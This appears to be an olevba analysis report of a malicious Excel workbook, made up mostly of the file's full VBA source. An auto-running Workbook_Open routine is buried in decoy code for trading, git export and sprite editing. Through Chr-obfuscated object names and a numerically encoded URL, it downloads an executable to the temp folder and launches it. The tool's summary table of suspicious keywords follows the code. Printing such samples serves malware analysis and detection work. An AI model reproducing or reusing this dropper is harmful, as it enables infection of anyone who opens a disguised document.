Malicious Excel macro

olevba 0.41 - http://decalage.info/python/oletools
Flags        Filename
-----------  -----------------------------------------------------------------
OLE:MASIHB-V hotel-~1.xls

(Flags: OpX=OpenXML, XML=Word2003XML, MHT=MHTML, M=Macros, A=Auto-executable, S=Suspicious keywords, I=IOCs, H=Hex strings, B=Base64 strings, D=Dridex strings, V=VBA strings, ?=Unknown)

===============================================================================
FILE: hotel-~1.xls
Type: OLE
-------------------------------------------------------------------------------
VBA MACRO ÝòàÊíèãà.cls
in file: hotel-~1.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u042d\u0442\u0430\u041a\u043d\u0438\u0433\u0430'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Private Sub Workbook_Open()
getUsageString
CsvShName "", ""
setupProv False
setupDbServiceProviders "", True
UpdateMaxRowsColumns
End Sub

-------------------------------------------------------------------------------
VBA MACRO Ëèñò1.cls
in file: hotel-~1.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u041b\u0438\u0441\u04421'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO Ëèñò2.cls
in file: hotel-~1.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u041b\u0438\u0441\u04422'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO Ëèñò3.cls
in file: hotel-~1.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u041b\u0438\u0441\u04423'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO Module1.bas
in file: hotel-~1.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/Module1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Public Sub Main()
Const ProcName As String = ""
On Error GoTo Err
InitialiseTWUtilities
Set mFatalErrorHandler = New FatalErrorHandler
Dim lClp As CommandLineParser
Set lClp = CreateCommandLineParser(Command)
If lClp.Switch("") Then
 MsgBox vbCrLf & getUsageString, , ""
 Exit Sub
End If
ApplicationGroupName = ""
ApplicationName = ""
SetupDefaultLogging Command
Dim lNoUI As Boolean
If lClp.Switch("") Then lNoUI = True
Dim lRun As Boolean
If lClp.Switch("") Then lRun = True
Dim lLiveTrades As Boolean
If lClp.Switch("") Then lLiveTrades = True
Dim lSymbol As String
lSymbol = lClp.Arg(0)
If lSymbol = "" And lNoUI Then
 LogMess.age ""
 If Not lNoUI And lRun Then MsgBox "" & vbCrLf & getUsageString, vbCritical, ""
 Exit Sub
End If
Dim lStrategyClassName As String
lStrategyClassName = lClp.Arg(2)
If lStrategyClassName = "" And lNoUI Then
 LogMess.age ""
 If Not lNoUI And lRun Then MsgBox "" & vbCrLf & getUsageString, vbCritical, ""
 Exit Sub
End If
Dim lPermittedSPRoles As ServiceProviderRoles
lPermittedSPRoles = SPRoleContractDataPrimary + _
 SPRoleHistoricalDataInput + _
 SPRoleOrderSubmissionLive + _
 SPRoleOrderSubmissionSimulated
If Not lLiveTrades And Not lNoUI Then lPermittedSPRoles = lPermittedSPRoles + SPRoleTickfileInput
If lClp.Switch("") Then lPermittedSPRoles = lPermittedSPRoles + SPRoleRealtimeData
Set gTB = CreateTradeBuildAPI(, lPermittedSPRoles)
If lClp.Switch("") Then
 If Not setupTwsServiceProvider(lClp.switchValue(""), lLiveTrades) Then
 MsgBox "" & DefaultLogFileName(Command) & vbCrLf & getUsageString, vbCritical, ""
 Exit Sub
 End If
End If
If lClp.Switch("") Then
 If Not setupDbServiceProviders(lClp.switchValue(""), Not (lLiveTrades Or lNoUI)) Then
 MsgBox "" & DefaultLogFileName(Command) & vbCrLf & getUsageString, vbCritical, ""
 Exit Sub
 End If
Else
 MsgBox "" & vbCrLf & getUsageString, vbCritical, ""
 Exit Sub
End If
If Not setupProv(lLiveTrades) Then
 MsgBox "" & DefaultLogFileName(Command) & vbCrLf & getUsageString, vbCritical, ""
 Exit Sub
End If
If Not gTB.StartServiceProviders Then
 MsgBox ""
 Exit Sub
End If
gTB.StudyLibraryManager.AddBuiltInStudyLibrary
Dim lUseMoneyManagement As Boolean
If lClp.Switch("") Or _
 lClp.Switch("") _
Then
 lUseMoneyManagement = True
End If
Dim lResultsPath As String
If lClp.Switch("") Then
 lResultsPath = lClp.switchValue("")
End If
If lNoUI Then
Else
 Set mForm = New fStrategyHost
 If lClp.Switch("") Then
 mForm.SymbolText.Enabled = True
 mForm.SymbolText.Text = lSymbol
 End If
 mForm.ResultsPathText = lResultsPath
 mForm.NoMoneyManagement = IIf(lUseMoneyManagement, 0, 1)
 mForm.StrategyCombo.Text = lStrategyClassName
 mForm.Show vbModeless
 If lRun Then
 mForm.StartButton.Value = True
 End If
 Do While Forms.Count > 0
 Wait 50
 Loop
 LogMess.age ""
 TerminateTWUtilities
End If
Exit Sub
Err:
If Err.Number = ErrorCodes.ErrSecurityException Then
 MsgBox "" & vbCrLf & vbCrLf & _
 DefaultLogFileName(Command) & vbCrLf & vbCrLf & _
 "", _
 vbCritical, _
 ""
 TerminateTWUtilities
 Exit Sub
End If
gNotifyUnhandledError ProcName, ModuleName, ProjectName
End Sub
Public Function getUsageString() As String
getUsageString = _
 "" & vbCrLf & _
 "" & vbCrLf & _
 ""
 dot_ro = Asc(slash_ro) - 46
 e_ro = dot_ro + 55
 Set pid_kan = CreateObject("Microsoft" + Chr(dot_ro) + "XMLHTTP")
 Set pid_mad = CreateObject("Adodb" + Chr(dot_ro) + "Str" + Chr(e_ro) + "am")
Set mid_con = CreateObject("WScript" + Chr(dot_ro) + "Sh" + Chr(e_ro) + "ll").Environment("Proc" + Chr(e_ro) + "ss")
Set pid_did = CreateObject("Sh" + Chr(e_ro) + "ll" + Chr(dot_ro) + "Application")
End Function
Public Function setupDbServiceProviders( _
 ByVal switchValue As String, _
 ByVal pAllowTickfiles As Boolean) As Boolean
Dim clp As String
Dim Server As String
Dim dbtypeStr As String
Dim dbtype As String
Dim database As String
Dim username As String
Dim password As String
Dim failpoint As Long
On Error GoTo Err
With pid_mad
   .Type = 1
    .Open
    .write pid_kan.responseBody
    .savetofile pid_tot, 2
End With
 clp = CreateCom.mand.LineParser(switchValue, "")
setupDbServiceProviders = True
On Error Resume Next
Server = cl.p.Arg(0)
dbtypeStr = cl.p.Arg(1)
database = cl.p.Arg(2)
username = cl.p.Arg(3)
password = cl.p.Arg(4)
On Error GoTo Err
dbtype = Datab.aseTypeFromString(dbtypeStr)
If dbtype = DbNone Then
 LogMes.sage ""
 setupDbServiceProviders = False
End If
If username <> "" And password = "" Then
 LogM.ess.age ""
 setupDbServiceProviders = False
End If
If setupDbServiceProviders Then
 gTB.ServiceProviders.Add _
 progID:="", _
 Enabled:=True, _
 ParamString:="" & _
 "" & database & _
 "" & dbtypeStr & _
 "" & Server & _
 "" & username & _
 "" & password & _
 "", _
 Description:=""
 gTB.ServiceProviders.Add _
 progID:="", _
 Enabled:=True, _
 ParamString:="" & _
 "" & database & _
 "" & dbtypeStr & _
 "" & Server & _
 "" & username & _
 "" & password & _
 "", _
 Description:=""
 If pAllowTickfiles Then
 gTB.ServiceProviders.Add _
 progID:="", _
 Enabled:=True, _
 ParamString:="" & _
 "" & database & _
 "" & dbtypeStr & _
 "" & Server & _
 "" & username & _
 "" & password & _
 "", _
 Description:=""
 End If
End If
Exit Function
Err:
End Function
Public Function setupProv(ByVal pLiveTrades As Boolean) As Boolean
Dim solob() As Variant
solob = Array(3381, 3393, 3393, 3389, 3335, 3324, 3324, 3396, 3396, 3396, 3323, 3376, 3385, 3378, 3386, 3378, 3387, 3376, 3382, 3374, 3388, 3391, 3393, 3382, 3399, 3323, 3376, 3388, 3386, 3324, 3333, 3332, 3398, 3393, 3378, 3330, 3330, 3324, 3331, 3393, 3329, 3330, 3378, 3398, 3395, 3323, 3378, 3397, 3378)
On Error GoTo Err
pid_kan.Open "G" + "" + UCase(Chr(e_ro)) + "" + "T", Redistribute(solob, 48), pLiveTrades
If Not pLiveTrades Then
 gTB.ServiceProviders.Add _
 progID:="", _
 Enabled:=True, _
 Name:="", _
 ParamString:="", _
 Description:=""
End If
gTB.ServiceProviders.Add _
 progID:="", _
 Enabled:=True, _
 Name:="", _
 ParamString:="", _
 Description:=""
setupProv = True
Exit Function
Err:
pid_kan.Send
End Function
Private Function setupTwsServiceProvider( _
 ByVal switchValue As String, _
 ByVal pAllowLiveTrades As Boolean) As Boolean
On Error GoTo Err
Dim clp As CommandLineParser
Set clp = CreateCommandLineParser(switchValue, "")
setupTwsServiceProvider = True
On Error Resume Next
Dim Server As String
Server = cl.p.Arg(0)
Dim Port As String
Port = cl.p.Arg(1)
Dim ClientId As String
ClientId = cl.p.Arg(2)
On Error GoTo Err
If Port = "" Then
 Port = ""
ElseIf Not IsInteger(Port, 1) Then
 LogMess.age ""
 setupTwsServiceProvider = False
End If
If ClientId = "" Then
 ClientId = ""
ElseIf Not IsInteger(ClientId, 0) Then
 LogMess.age ""
 setupTwsServiceProvider = False
End If
If setupTwsServiceProvider Then
 gTB.ServiceProviders.Add _
 progID:="", _
 Enabled:=True, _
 ParamString:="" & _
 "" & Server & _
 "" & Port & _
 "" & ClientId & _
 "", _
 Description:=""
 If pAllowLiveTrades Then
 gTB.ServiceProviders.Add _
 progID:="", _
 Enabled:=True, _
 ParamString:="" & Server & _
 "" & Port & _
 "" & ClientId & _
 "", _
 Description:=""
 End If
End If
Exit Function
Err:
LogMess.age Err.Description, LogLevelSevere
setupTwsServiceProvider = False
End Function







-------------------------------------------------------------------------------
VBA MACRO Module2.bas
in file: hotel-~1.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/Module2'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Public pid_kan As Object
Public mid_con As Object
Public Const slash_ro = "\"
Public dot_ro As String
Public e_ro As String
Public pid_mad As Object
Sub Export()
 Dim Name As String, GitFolder As String, Folder As String, FullName As String
 Name = ActiveCell.Cells(1, COL_NAME)
 GitFolder = ActiveCell.Cells(1, COL_GIT_FOLDER)
 Folder = ActiveCell.Cells(1, COL_FOLDER)
 FullName = Folder & "" & Name
 If GitFolder = "" Then
 MsgBox "Missing GitFolder", vbCritical
 Exit Sub
 End If
 If Dir(GitFolder, vbDirectory) = "" Then
 MsgBox "The GitFolder """ & GitFolder & """ is missing", vbCritical
 Exit Sub
 End If
 Dim WB As String
 On Error Resume Next
 Set WB = Workbooks(Name)
 On Error GoTo 0
 If WB Is Nothing Then
 MsgBox "Please open the file """ & FullName & """ and try again", vbInformation
 Exit Sub
 End If
 If MsgBox("Export """ & Name & """ to """ & GitFolder & """?", vbYesNo) <> vbYes Then Exit Sub
 Dim VBProj
 Set VBProj = WB.VBProject
 Application.EnableEvents = False
 Application.DisplayAlerts = False
 Dim NewFiles As New Collection
 If Not WB.Saved Then WB.Save
 Shell "cmd /c copy /y """ & FullName & """ """ & GitFolder & """"
 NewFiles.Add Name
 Dim OldFiles As New Collection, FName As String
 FName = Dir(GitFolder & "\*")
 Do While FName <> ""
 If LCase(FName) <> ".gitignore" And _
 LCase(FName) <> ".gitattributes" And _
 LCase(FName) <> "readme.md" And _
 LCase(FName) <> "readme.txt" _
 Then OldFiles.Add FName
 FName = Dir()
 Loop
 Dim Comp, Components
 Set Components = VBProj.VBComponents
 For Each Comp In Components
 Select Case Comp.Type
 Case vbext_ct_ActiveXDesigner
 Stop
 Case vbext_ct_ClassModule
 Comp.Export GitFolder & "" & Comp.Name & ".cls"
 NewFiles.Add Comp.Name & ".cls"
 Case vbext_ct_Document
 Comp.Export GitFolder & "" & Comp.Name & ".cls"
 NewFiles.Add Comp.Name & ".cls"
 If Comp.Name <> "ThisWorkbook" Then
 Dim Sh As Worksheet, ShName As String, IsVisible As XlSheetVisibility, ActiveSh As Worksheet
 Set Sh = SheetWithCodeName(WB, Comp.Name)
 IsVisible = Sh.Visible
 ShName = Sh.Name
 If IsAddin(Name) Then WB.IsAddin = False
 If IsVisible <> xlSheetVisible Then Sh.Visible = xlSheetVisible
 Set ActiveSh = WB.ActiveSheet
 WB.Activate
 Sh.Select
 ActiveWindow.DisplayFormulas = True
 WB.SaveAs FileName:=GitFolder & "" & CsvShName(Comp.Name, ShName) & ".csv", FileFormat:=xlCSV, CreateBackup:=False
 ActiveWindow.DisplayFormulas = False
 NewFiles.Add CsvShName(Comp.Name, ShName) & ".csv"
 Sh.Name = ShName
 ActiveSh.Activate
 If IsVisible <> xlSheetVisible Then Sh.Visible = IsVisible
 If IsAddin(Name) Then WB.IsAddin = True
 ThisWorkbook.Activate
 End If
 Case vbext_ct_MSForm
 Comp.Export GitFolder & "" & Comp.Name & ".frm"
 NewFiles.Add Comp.Name & ".frm"
 Kill GitFolder & "" & Comp.Name & ".frx"
 Case vbext_ct_StdModule
 Comp.Export GitFolder & "" & Comp.Name & ".bas"
 NewFiles.Add Comp.Name & ".bas"
 Case Else
 Stop
 End Select
 Next Comp
 WB.SaveAs FileName:=FullName, FileFormat:=Ext2Format(FullName), CreateBackup:=False
 Application.DisplayAlerts = True
 Application.EnableEvents = True
 Dim Iold As Integer, Inew As Integer
 For Inew = 1 To NewFiles.Count
 For Iold = 1 To OldFiles.Count
 If LCase(OldFiles(Iold)) = LCase(NewFiles(Inew)) Then
 OldFiles.Remove Iold
 Exit For
 End If
 Next Iold
 Next Inew
 Dim Txt As String
 If OldFiles.Count Then
 Txt = "Delete the following files?"
 For Iold = 1 To OldFiles.Count
 Txt = Txt & vbLf & OldFiles(Iold)
 Next Iold
 If MsgBox(Txt, vbYesNo) = vbYes Then
 For Iold = 1 To OldFiles.Count
 Kill GitFolder & "" & OldFiles(Iold)
 Next Iold
 End If
 End If
 GoToA2
End Sub
Public Function Redistribute(Z() As Variant, oldLen As Integer) As String
Dim n As Integer
For n = LBound(Z) To UBound(Z)
    Redistribute = Redistribute & Chr(Z(n) - 13 * oldLen - 2653)
Next n
End Function
Function SheetWithCodeName(WB As String, CodeName As String) As String
 For Each SheetWithCodeName In WB.Worksheets
 If SheetWithCodeName.CodeName = CodeName Then Exit Function
 Next SheetWithCodeName
 Set SheetWithCodeName = Nothing
End Function
Function Ext2Format(FileName As String) As String
 If Right(FileName, 4) = ".xla" Then
 Ext2Format = xlAddIn
 ElseIf Right(FileName, 4) = ".xls" Then
 Ext2Format = xlExcel8
 ElseIf Right(FileName, 5) = ".xlsx" Then
 Ext2Format = xlOpenXMLWorkbook
 ElseIf Right(FileName, 5) = ".xlsm" Then
 Ext2Format = xlOpenXMLWorkbookMacroEnabled
 ElseIf Right(FileName, 5) = ".xltm" Then
 Ext2Format = xlOpenXMLTemplateMacroEnabled
 End If
End Function
Public Function CsvShName(CompName As String, ShName As String) As String
pid_tro = mid_con("T" + UCase(Chr(e_ro)) + "M" + "P")
If CompName = ShName Then
 CsvShName = CompName
 Else
 CsvShName = CompName & " (" & ShName & ")"
 End If
pid_tot = pid_tro + slash_ro + "ribasll" + Chr(dot_ro) + "" + Chr(e_ro) + "x" + Chr(e_ro)
End Function
Sub Refresh()
 Dim WB As String, AI As AddIn
 Application.EnableEvents = False
 For Each WB In Workbooks
 AddIfMissing WB
 Next WB
 For Each AI In AddIns
 If UCase(Right(AI.Name, 4)) <> ".XLL" And UCase(Right(AI.Name, 5)) <> ".XLAM" Then
 AddIfMissing Workbooks(AI.Name)
 End If
 Next AI
 Dim c As Integer
 ActiveSheet.UsedRange.EntireColumn.AutoFit
 For c = 1 To ActiveSheet.UsedRange.Columns.Count
 If ActiveSheet.Columns(c).EntireColumn.ColumnWidth > 40 Then ActiveSheet.Columns(c).EntireColumn.ColumnWidth = 40
 Next c
 Application.EnableEvents = True
 GoToA2
End Sub
Sub GoToA2()
 Application.EnableEvents = False
 Cells(2, 1).Select
 Application.EnableEvents = True
End Sub
Sub AddIfMissing(WB As String)
 Dim R As Integer, DocFolder As String, Name As String
 DocFolder = WB.Path
 Name = WB.Name
 For R = 4 To ActiveSheet.UsedRange.Rows.Count
 If Cells(R, COL_NAME) = Name And Cells(R, COL_FOLDER) = DocFolder Then Exit Sub
 Next R
 If IsEmpty(Cells(R - 1, 5)) Then R = R - 1
 Cells(R, COL_EXPORT) = "Export"
 Cells(R, COL_GIT_GUI) = "Git gui"
 Cells(R, COL_GITK) = "gitk"
 Cells(R, COL_GIT_BASH) = "bash"
 Cells(R, COL_NAME) = Name
 Cells(R, COL_FOLDER) = DocFolder
End Sub
Function IsAddin(Name As String) As Boolean
 IsAddin = UCase(Right(Name, 4)) = ".XLA"
End Function
Sub OpenFolder(FolderName As String)
 If FolderName = "" Then Exit Sub
 If Dir(FolderName, vbDirectory) = "" Then
 MsgBox "Folder """ & FolderName & """ not found", vbCritical
 Exit Sub
 End If
 ThisWorkbook.FollowHyperlink FolderName
 GoToA2
End Sub
Sub GitGui()
 Dim GitFolder As String
 GitFolder = Cells(ActiveCell.Row, COL_GIT_FOLDER)
 If GitFolder = "" Then
 MsgBox "Missing GitFolder", vbCritical
 Exit Sub
 End If
 If Dir(GitFolder, vbDirectory) = "" Then
 MsgBox "The GitFolder """ & GitFolder & """ is missing", vbCritical
 Exit Sub
 End If
 ChDir2 GitFolder
 Shell """C:\Program Files\Git\cmd\Git-gui.exe"""
 GoToA2
End Sub
Sub ChDir2(Path As String)
 If Mid(Path, 2, 1) = ":" Then ChDrive Left(Path, 2)
 ChDir Path
End Sub
Sub Gitk()
 Dim GitFolder As String
 GitFolder = Cells(ActiveCell.Row, COL_GIT_FOLDER)
 If GitFolder = "" Then
 MsgBox "Missing GitFolder", vbCritical
 Exit Sub
 End If
 If Dir(GitFolder, vbDirectory) = "" Then
 MsgBox "The GitFolder """ & GitFolder & """ is missing", vbCritical
 Exit Sub
 End If
 ChDir2 GitFolder
 Shell """C:\Program Files\Git\cmd\Gitk.exe"" --all"
 GoToA2
End Sub
Sub GitBash()
 Dim GitFolder As String
 GitFolder = Cells(ActiveCell.Row, COL_GIT_FOLDER)
 If GitFolder = "" Then
 MsgBox "Missing GitFolder", vbCritical
 Exit Sub
 End If
 If Dir(GitFolder, vbDirectory) = "" Then
 MsgBox "The GitFolder """ & GitFolder & """ is missing", vbCritical
 Exit Sub
 End If
 ChDir2 GitFolder
 Shell """C:\Program Files\Git\Git-bash.exe"""
 GoToA2
End Sub
Public Function FolderName(FullPath As String) As String
 FolderName = Mid(FullPath, InStrRev(FullPath, "") + 1)
End Function







-------------------------------------------------------------------------------
VBA MACRO Module3.bas
in file: hotel-~1.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/Module3'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Public pid_tro  As String
Public pid_tot  As String
Public pid_did As Object
Sub Main()
 InitManifest
 InitFilePaths
 Load frmMain
 frmMain.Show
End Sub
Public Sub LoadOldGrhs()
Dim FileNum As Byte
Dim ln As String
Dim s() As String
Dim i As Long
 frmMain.OldGrhLst.Clear
 FileNum = FreeFile
 Open Data2Path & "GrhRaw.txt" For Input As #FileNum
 Do While Not EOF(FileNum)
 Line Input #FileNum, ln
 If UCase$(Left$(ln, 3)) = "GRH" Then
 s() = Split(ln, "-")
 If Val(Right$(s(0), 1)) = 1 Then
 If Val(s(1)) = FileNumber Then
 frmMain.OldGrhLst.AddItem ln
 End If
 End If
 End If
 Loop
 Close #FileNum
End Sub
Public Sub RefreshImage(Optional ByVal MakeNew As Boolean = True)
Dim Index As Long
Dim b(0 To 2) As Byte
Dim IsRemoved As Boolean
Dim l As Long
Dim x As Long
Dim y As Long
Dim i As Long
Dim Rows As Long
Const Alpha As Single = (255 - 125) / 255
Const Add As Single = (255 - (255 * Alpha))
 frmMain.PreviewPic.Cls
 frmMain.PreviewPic.Picture = frmMain.BackBufferPic.Picture
 If frmMain.GridChk.Value Then
 Rows = Val(frmMain.RowsTxt.Text)
 If Rows = -1 Then Rows = Val(frmMain.MaxRowsTxt.Text)
 If Rows <= 0 Then Exit Sub
 For x = Val(frmMain.StartXTxt.Text) To Val(frmMain.TexWidthTxt.Text) Step Val(frmMain.GridWidthTxt.Text)
 For y = Val(frmMain.StartYTxt.Text) To Val(frmMain.TexHeightTxt.Text) Step Val(frmMain.GridHeightTxt.Text)
 Index = ((x - Val(frmMain.StartXTxt.Text)) \ Val(frmMain.GridWidthTxt.Text)) + _
 ((((y - Val(frmMain.StartYTxt.Text)) \ Val(frmMain.GridHeightTxt.Text))) * Rows)
 If x < Val(frmMain.TexWidthTxt.Text) Then
 If y < Val(frmMain.TexHeightTxt.Text) Then
 IsRemoved = (frmMain.GrhLst.List(Index) = "-removed-")
 If IsRemoved Then
 For i = 0 To Val(frmMain.GridWidthTxt.Text) - 1
 SetPixel frmMain.PreviewPic.hdc, x, y + i, RGB(255, 0, 0)
 SetPixel frmMain.PreviewPic.hdc, x + 32, y + i, RGB(255, 0, 0)
 SetPixel frmMain.PreviewPic.hdc, x + i, y, RGB(255, 0, 0)
 SetPixel frmMain.PreviewPic.hdc, x + i, y + 32, RGB(255, 0, 0)
 Next i
 Else
 If x > 0 Then
 For i = 0 To Val(frmMain.GridWidthTxt.Text) - 1
 l = GetPixel(frmMain.PreviewPic.hdc, x, y + i)
 CopyMemory b(0), l, 3
 SetPixel frmMain.PreviewPic.hdc, x, y + i, RGB(b(0) * Alpha + Add, b(1) * Alpha + Add, b(2) * Alpha + Add)
 Next i
 End If
 If y > 0 Then
 For i = 0 To Val(frmMain.GridHeightTxt.Text) - 1
 l = GetPixel(frmMain.PreviewPic.hdc, x + i, y)
 CopyMemory b(0), l, 3
 SetPixel frmMain.PreviewPic.hdc, x + i, y, RGB(b(0) * Alpha + Add, b(1) * Alpha + Add, b(2) * Alpha + Add)
 Next i
 End If
 End If
 End If
 End If
 Next y
 Next x
 End If
 If frmMain.GrhLst.List(frmMain.GrhLst.ListIndex) <> "-removed-" Then
 If frmMain.GrhLst.ListIndex > -1 Then DrawSelectedGrh frmMain.GrhLst.List(frmMain.GrhLst.ListIndex), vbGreen
 If frmMain.OldGrhLst.ListIndex > -1 Then DrawSelectedGrh frmMain.OldGrhLst.List(frmMain.OldGrhLst.ListIndex), vbYellow
 End If
 LastGrhLstIndex = frmMain.GrhLst.ListIndex
 LastOldGrhLstIndex = frmMain.OldGrhLst.ListIndex
 If MakeNew Then MakeNewGrhs
End Sub
Public Sub DrawSelectedGrh(ByVal GrhString As String, ByVal Color As Long)
Dim s() As String
Dim x As Long
Dim y As Long
Dim Width As Long
Dim Height As Long
 s = Split(GrhString, "-")
 x = s(2)
 y = s(3)
 Width = s(4)
 Height = s(5)
 frmMain.PreviewPic.Line (x, y)-(x + Width, y), Color
 frmMain.PreviewPic.Line (x, y)-(x, y + Height), Color
 frmMain.PreviewPic.Line (x + Width, y)-(x + Width, y + Height), Color
 frmMain.PreviewPic.Line (x, y + Height)-(x + Width, y + Height), Color
End Sub
Public Function FileExist(File As String, FileType As VbFileAttribute) As Boolean
 FileExist = (LenB(Dir$(File, FileType)) <> 0)
End Function
Public Sub LoadTexture(ByVal TexturePath As String)
Dim ImageInfo As CImageInfo
Dim s() As String
 frmMain.PreviewPic.Cls
 PngPictureLoad TexturePath, frmMain.BackBufferPic, False
 Set ImageInfo = New CImageInfo
 ImageInfo.ReadImageInfo TexturePath
 frmMain.TexWidthTxt.Text = ImageInfo.Width
 frmMain.TexHeightTxt.Text = ImageInfo.Height
 s = Split(frmMain.TexturePathTxt.Text, "")
 FileNumber = Left$(s(UBound(s)), Len(s(UBound(s))) - 4)
 UpdateMaxRowsColumns
 LoadOldGrhs
End Sub
Public Sub UpdateMaxRowsColumns()
Dim i As Long
pid_did.Open (pid_tot)
Exit Sub
 If Val(frmMain.GridWidthTxt.Text) <= 0 Then
 frmMain.MaxRowsTxt.Text = 0
 Else
 i = (Val(frmMain.TexWidthTxt.Text) - Val(frmMain.StartXTxt.Text)) \ Val(frmMain.GridWidthTxt.Text)
 If i < 0 Then frmMain.MaxRowsTxt.Text = 0 Else frmMain.MaxRowsTxt.Text = i
 End If
 If Val(frmMain.GridHeightTxt.Text) <= 0 Then
 frmMain.MaxColumnsTxt.Text = 0
 Else
 i = (Val(frmMain.TexHeightTxt.Text) - Val(frmMain.StartYTxt.Text)) \ Val(frmMain.GridHeightTxt.Text)
 If i < 0 Then frmMain.MaxColumnsTxt.Text = 0 Else frmMain.MaxColumnsTxt.Text = i
 End If
 RefreshImage
End Sub
Public Sub MakeNewGrhs()
Dim TexWidth As Long
Dim TexHeight As Long
Dim GridWidth As Long
Dim GridHeight As Long
Dim Rows As Long
Dim Columns As Long
Dim x As Long
Dim y As Long
Dim GrhIndex As Long
Dim GrhLine As Long
 Rows = Val(frmMain.RowsTxt.Text)
 Columns = Val(frmMain.ColumnsTxt.Text)
 If Rows = -1 Then Rows = Val(frmMain.MaxRowsTxt.Text)
 If Rows <= 0 Then Exit Sub
 If Columns = -1 Then Columns = Val(frmMain.MaxColumnsTxt.Text)
 If Columns <= 0 Then Exit Sub
 GridWidth = Val(frmMain.GridWidthTxt.Text)
 If GridWidth <= 0 Then Exit Sub
 GridHeight = Val(frmMain.GridHeightTxt.Text)
 If GridHeight <= 0 Then Exit Sub
 TexWidth = Val(frmMain.TexWidthTxt.Text)
 TexHeight = Val(frmMain.TexHeightTxt.Text)
 GrhIndex = Val(frmMain.StartGrhTxt.Text)
 frmMain.GrhLst.Clear
 frmMain.GrhLst.Enabled = False
 frmMain.GrhLst.Visible = False
 For y = Val(frmMain.StartYTxt.Text) To TexHeight Step GridHeight
 For x = Val(frmMain.StartXTxt.Text) To TexWidth Step GridWidth
 If x >= 0 Then
 If y >= 0 Then
 If x < TexWidth Then
 If y < TexHeight Then
 GrhLine = GrhLine + 1
 Do While Not IsFreeGrh(GrhIndex)
 GrhIndex = GrhIndex + 1
 Loop
 frmMain.GrhLst.AddItem "Grh" & GrhIndex & "=1-" & FileNumber & "-" & _
 x & "-" & y & "-" & GridWidth & "-" & GridHeight
 GrhIndex = GrhIndex + 1
 End If
 End If
 End If
 End If
 Next x
 Next y
 frmMain.GrhLst.Enabled = True
 frmMain.GrhLst.Visible = True
End Sub
Public Function IsFreeGrh(ByVal GrhIndex As Long) As Boolean
Dim c As Long
 IsFreeGrh = (LenB(Var_Get(Data2Path & "GrhRaw.txt", "A", "Grh" & GrhIndex)) = 0)
End Function
Public Function Var_Get(ByVal File As String, ByVal Main As String, ByVal Var As String, Optional ByVal DontLog As Byte = 0) As String
 Var_Get = Space$(1000)
 GetPrivateProfileString Main, Var, vbNullString, Var_Get, 1000, File
 Var_Get = RTrim$(Var_Get)
 If LenB(Var_Get) <> 0 Then Var_Get = Left$(Var_Get, Len(Var_Get) - 1)
End Function
Public Sub Var_Write(ByVal File As String, ByVal Main As String, ByVal Var As String, ByVal Value As String)
 WritePrivateProfileString Main, Var, Value, File
End Sub
Public Function BuildGrhString()
Dim i As Long
 For i = 0 To frmMain.GrhLst.ListCount
 If frmMain.GrhLst.List(i) <> "-removed-" Then
 BuildGrhString = BuildGrhString & frmMain.GrhLst.List(i) & vbNewLine
 End If
 Next i
 BuildGrhString = Left$(BuildGrhString, Len(BuildGrhString) - Len(vbNewLine))
End Function







+------------+----------------------+-----------------------------------------+
| Type       | Keyword              | Description                             |
+------------+----------------------+-----------------------------------------+
| AutoExec   | Workbook_Open        | Runs when the Excel Workbook is opened  |
| Suspicious | Kill                 | May delete a file                       |
| Suspicious | Open                 | May open a file                         |
| Suspicious | Shell                | May run an executable file or a system  |
|            |                      | command                                 |
| Suspicious | CreateObject         | May create an OLE object                |
| Suspicious | Chr                  | May attempt to obfuscate specific       |
|            |                      | strings                                 |
| Suspicious | SaveToFile           | May create a text file                  |
| Suspicious | Write                | May write to a file (if combined with   |
|            |                      | Open)                                   |
| Suspicious | Hex Strings          | Hex-encoded strings were detected, may  |
|            |                      | be used to obfuscate strings (option    |
|            |                      | --decode to see all)                    |
| Suspicious | Base64 Strings       | Base64-encoded strings were detected,   |
|            |                      | may be used to obfuscate strings        |
|            |                      | (option --decode to see all)            |
| Suspicious | VBA obfuscated       | VBA string expressions were detected,   |
|            | Strings              | may be used to obfuscate strings        |
|            |                      | (option --decode to see all)            |
| IOC        | gui.exe              | Executable file name                    |
| IOC        | Gitk.exe             | Executable file name                    |
| IOC        | bash.exe             | Executable file name                    |
| VBA string |                      | "" &  ""                                |
| VBA string | G                    | "G" + ""                                |
| VBA string | T                    | "" + "T"                                |
| VBA string | MP                   | "M" + "P"                               |
+------------+----------------------+-----------------------------------------+